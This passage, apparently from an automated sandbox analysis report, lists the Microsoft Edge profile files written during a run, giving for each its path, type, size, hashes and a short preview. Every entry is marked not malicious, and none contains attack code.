Category:	modified
Size (bytes):	83572
Entropy (8bit):	5.664099381312596
Encrypted:	false
SSDEEP:	1536:WL0/Ry7vm2lhq4ljc+PjfOzBu+RMDVogUlcPCcBjjmny8dLA8j7baD7:WL6yLm2fq4pc+rCAogU2CcBjj3YAg7mn
MD5:	03E26BC1953C6B8AB9A96E7B7D4050B5
SHA1:	61580FF6CEDD37897DF23009E52C7CE90B044A23
SHA-256:	B611123FB14AC6CFF049810F268197DB441D98963DB6ECBE312BF3AF1ACBCFC9
SHA-512:	DF0A1B0D4667DC899ADA18AF8C07032CCCD74D0B144800CD9419BE7E86EDA9337F5E1374885462F130DA1C66A09E18C2B18F7BDC97CDE46498CF4AFA9E7DF547
Malicious:	false
Preview:	...m.................DB_VERSION.1../.j...............(QUERY_TIMESTAMP:product_category_en1...13376892235193643..QUERY:product_category_en1....[{"name":"product_category_en","url":"https://edgeassetservice.azureedge.net/assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories","version":{"major":1,"minor":0,"patch":0},"hash":"r2jWYy3aqoi3+S+aPyOSfXOCPeLSy5AmAjNHvYRv9Hg=","size":82989}]...yg~..............!ASSET_VERSION:product_category_en.1.0.0..ASSET:product_category_en...."..3....Car & Garage..Belts & Hoses.#..+....Sports & Outdoors..Air Pumps.!.."....Car & Garage..Body Styling.4..5./..Gourmet Food & Chocolate..Spices & Seasonings.'..,."..Sports & Outdoors..Sleeping Gear.!..6....Lawn & Garden..Hydroponics.9.a.5..Books & Magazines. Gay & Lesbian Interest Magazines....+....Office Products..Pins.,..3.'..Kitchen & Housewares..Coffee Grinders.$..#....Computing..Enterprise Servers.#..&....Home Furnishings..Footboards.6...2..Books & Magazines..Computer & Internet Magazines.)..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.157033425627032
Encrypted:	false
SSDEEP:	6:HG+krz01923oH+TcwtgctZQInvB2KLlVG+k8QWM+q2P923oH+TcwtgctZQInvIF2:UrtYebgGZznvFLc8Q+v4YebgGZznQFUv
MD5:	DFDD4B03FB886D99E19C45107B5B098A
SHA1:	EFC6B0A7E06DF392506226FB50F5AE37288B6DE4
SHA-256:	63460D914B77A0B55D64E618FB58A67B171B875B490A8005D8B79882E1C168DB
SHA-512:	EF29DB1A7B21039DBDBC566D2E9196BA40B0DD2569D4932AABB0A8FDEE628E94BA15A3F3AA938C71DE00574724D555E842F222AD72B2E29D9D718E6641F27A17
Malicious:	false
Preview:	2024/11/23-22:23:53.227 191c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db since it was missing..2024/11/23-22:23:53.277 191c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56752310064527
Encrypted:	false
SSDEEP:	768:IHLZikWPdpfvy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQNVW9kHrwcpftuP:IHLZikWPdpfvyu1jadLW9kUctg
MD5:	9532E4892791DFCE42C634EF1DE55E92
SHA1:	40D3F6ECFDB1D2B2CB3E6C9FC361B25D0ED14009
SHA-256:	B5051BA9063C767022F199FE50226AD4E36333F4E608DC92CD4E8F89606FD0A4
SHA-512:	4B29E90B55989513748601C8495829E09C4EFB976DBC0F8332B08B65BD655B86C6BE67992BC685E2C0D21CC531DB29D2B315B6198FACFE73F9233639EB1D3597
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892213932321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892213932321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4e924.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56752310064527
Encrypted:	false
SSDEEP:	768:IHLZikWPdpfvy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQNVW9kHrwcpftuP:IHLZikWPdpfvyu1jadLW9kUctg
MD5:	9532E4892791DFCE42C634EF1DE55E92
SHA1:	40D3F6ECFDB1D2B2CB3E6C9FC361B25D0ED14009
SHA-256:	B5051BA9063C767022F199FE50226AD4E36333F4E608DC92CD4E8F89606FD0A4
SHA-512:	4B29E90B55989513748601C8495829E09C4EFB976DBC0F8332B08B65BD655B86C6BE67992BC685E2C0D21CC531DB29D2B315B6198FACFE73F9233639EB1D3597
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892213932321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892213932321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	4.622680151023895
Encrypted:	false
SSDEEP:	12:S+a8ljljljljl5HUqa+CT4Q3qPnGz3A/XkAvkAvkAv:Ra0ZZZZ5HUXvyG0Xk8k8k8
MD5:	1BBB292C285EBBA531612DCB800DDA93
SHA1:	FD1EB196B00C9920051D46BC6EEA53738F87491F
SHA-256:	A120B84F7D104432EC778EFC76D6892C1B95D6E09F768D8D379EA18F10BA2B82
SHA-512:	ECCE381164C5FFAB4DC9648F4E20EF4DD7024D5A480D6C3980660BC7B50CAA67A55DFDEF8A48B4B76E294F71A994F6DA69B39CB6029F8400749BA3FC22BF65DB
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................@j................next-map-id.1.Knamespace-393df044_e9fa_4a88_8f03_80f9632d109a-https://accounts.google.com/.0`"g.k................next-map-id.2.Lnamespace-393df044_e9fa_4a88_8f03_80f9632d109a-https://accounts.youtube.com/.1. .................. .................. .................. .................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.119603952039188
Encrypted:	false
SSDEEP:	6:HG+I4L+q2P923oH+TcwtrQMxIFUt8YG+U1o1Zmw+YG+wU7lLVkwO923oH+Tcwtrb:/L+v4YebCFUt8k/+ExLV5LYebtJ
MD5:	12266760CFB4E3EE30BC169EEF95F9F9
SHA1:	40CF2DB28263EED2379FE857967B530E50A6DA89
SHA-256:	AB24F46433B937C30D153A19DB19FD36AA518E834544C9F83445852E77A35E04
SHA-512:	E1BA05E4D0B80AF6D2C2D768945EFCC83D6AE3D1372188C8927A53D9ACEADA3C9393A9830B7C6C6767D873005389BA00C6F85616C77A20A70505303B15E2394F
Malicious:	false
Preview:	2024/11/23-22:23:34.821 189c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-22:23:34.825 189c Recovering log #3.2024/11/23-22:23:34.829 189c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.119603952039188
Encrypted:	false
SSDEEP:	6:HG+I4L+q2P923oH+TcwtrQMxIFUt8YG+U1o1Zmw+YG+wU7lLVkwO923oH+Tcwtrb:/L+v4YebCFUt8k/+ExLV5LYebtJ
MD5:	12266760CFB4E3EE30BC169EEF95F9F9
SHA1:	40CF2DB28263EED2379FE857967B530E50A6DA89
SHA-256:	AB24F46433B937C30D153A19DB19FD36AA518E834544C9F83445852E77A35E04
SHA-512:	E1BA05E4D0B80AF6D2C2D768945EFCC83D6AE3D1372188C8927A53D9ACEADA3C9393A9830B7C6C6767D873005389BA00C6F85616C77A20A70505303B15E2394F
Malicious:	false
Preview:	2024/11/23-22:23:34.821 189c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-22:23:34.825 189c Recovering log #3.2024/11/23-22:23:34.829 189c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376892216433120

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	9099
Entropy (8bit):	4.287879982397653
Encrypted:	false
SSDEEP:	192:3NNfNfNXwmpM+O8ZwmcM+ONwUeJD3vPM9:dNfNfNAmS+O8imV+OufD/U
MD5:	8F224F7CECD6986441342134F57F7FE7
SHA1:	B5D49E60334AB1E8CBF5F768BC42CC4A63F84ED6
SHA-256:	DBFF90A61D1609D262484EEBE74CF99FA34787C45FF8E24DB4CD5803F8E77302
SHA-512:	B6B57B6B775504733841BABA02864EC80D72E47CB520A14083498CF983B4A30AD4E89440B673CB52318B10429B1E32C5691D4343B058CC55CF5D43CD9058B68C
Malicious:	false
Preview:	SNSS.......(..u...........(..u......"(..u...........(..u.......(..u.......)..u.......)..u....!..)..u...............................(..u)..u1..,...)..u$...393df044_e9fa_4a88_8f03_80f9632d109a...(..u.......)..u....<..........(..u...(..u.......................(..u....................5..0...(..u&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....(..u..........(..u...........................)..u...............)..uo...Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36.........................Not;A=Brand.....8.......Chromium....117.....Google Chrome.......117.........Not;A=Brand.....8.0.0.0.....Chromium....117.0.5938.132......Google Chrome.......117.0.5938.132......117.0.5938.132......Windows.....10.0.0......x86.............64.................)..u...............)..uo...Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36.........................Not;A=Brand.....8.......Chromium...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.119637439933637
Encrypted:	false
SSDEEP:	6:HG+ZGt+q2P923oH+Tcwt7Uh2ghZIFUt8YG+ZG5Zmw+YG+ZGtVkwO923oH+Tcwt7w:JXv4YebIhHh2FUt826/+2G5LYebIhHLJ
MD5:	81E8262B531EB7D2EEEFB928DFAA9074
SHA1:	A112104A12B159E05C8D8EEBA3583B2407E1D70D
SHA-256:	2D206ACB9CE1BDCBCFA9C85DD3668519F94197298E2D3B5EC9102F6C5B6C6F8D
SHA-512:	AD2B22174970B4AFA676579479771F69832224E2D4504DE60AE43C9632CB3D51F32315BFDBE3A721D7546F0D296A8D6E076A34166EB7E8863FDCF07BCC8ED45E
Malicious:	false
Preview:	2024/11/23-22:23:34.194 19c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-22:23:34.194 19c8 Recovering log #3.2024/11/23-22:23:34.194 19c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.119637439933637
Encrypted:	false
SSDEEP:	6:HG+ZGt+q2P923oH+Tcwt7Uh2ghZIFUt8YG+ZG5Zmw+YG+ZGtVkwO923oH+Tcwt7w:JXv4YebIhHh2FUt826/+2G5LYebIhHLJ
MD5:	81E8262B531EB7D2EEEFB928DFAA9074
SHA1:	A112104A12B159E05C8D8EEBA3583B2407E1D70D
SHA-256:	2D206ACB9CE1BDCBCFA9C85DD3668519F94197298E2D3B5EC9102F6C5B6C6F8D
SHA-512:	AD2B22174970B4AFA676579479771F69832224E2D4504DE60AE43C9632CB3D51F32315BFDBE3A721D7546F0D296A8D6E076A34166EB7E8863FDCF07BCC8ED45E
Malicious:	false
Preview:	2024/11/23-22:23:34.194 19c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-22:23:34.194 19c8 Recovering log #3.2024/11/23-22:23:34.194 19c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.231357580149173
Encrypted:	false
SSDEEP:	6:HG+6lH39+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YG+63JZmw+YG+y9VkwO923od:quv4YebvqBQFUt8zZ/+J5LYebvqBvJ
MD5:	C5F98D4F6A9A06553C3D95E7EB6F063E
SHA1:	21C87A25B143DACCCD1232B4651D4ACC9AB7A3C5
SHA-256:	45CA08F7FB4264C20E7FF4AEEE263AD697A88957E0720E8296FF867F8D09F88D
SHA-512:	31D53011BE80751783DF3EF2BA44BBCC643B2212E6CFE84E9490997DA3DDB742539F6D8B580FB6DB50B3753C3514DEA0339708F78EE6B8D2B8274720CE81D0FE
Malicious:	false
Preview:	2024/11/23-22:23:34.827 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:23:34.830 1748 Recovering log #3.2024/11/23-22:23:34.836 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.231357580149173
Encrypted:	false
SSDEEP:	6:HG+6lH39+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YG+63JZmw+YG+y9VkwO923od:quv4YebvqBQFUt8zZ/+J5LYebvqBvJ
MD5:	C5F98D4F6A9A06553C3D95E7EB6F063E
SHA1:	21C87A25B143DACCCD1232B4651D4ACC9AB7A3C5
SHA-256:	45CA08F7FB4264C20E7FF4AEEE263AD697A88957E0720E8296FF867F8D09F88D
SHA-512:	31D53011BE80751783DF3EF2BA44BBCC643B2212E6CFE84E9490997DA3DDB742539F6D8B580FB6DB50B3753C3514DEA0339708F78EE6B8D2B8274720CE81D0FE
Malicious:	false
Preview:	2024/11/23-22:23:34.827 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:23:34.830 1748 Recovering log #3.2024/11/23-22:23:34.836 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\25c9b164-f300-42e2-95b4-3409a1c1306d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7563a34b-ee29-43ce-bd0d-a0421fc1b9af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4c34c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4c63a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\adbccdff-11cd-4614-a46f-0adc8a484c42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

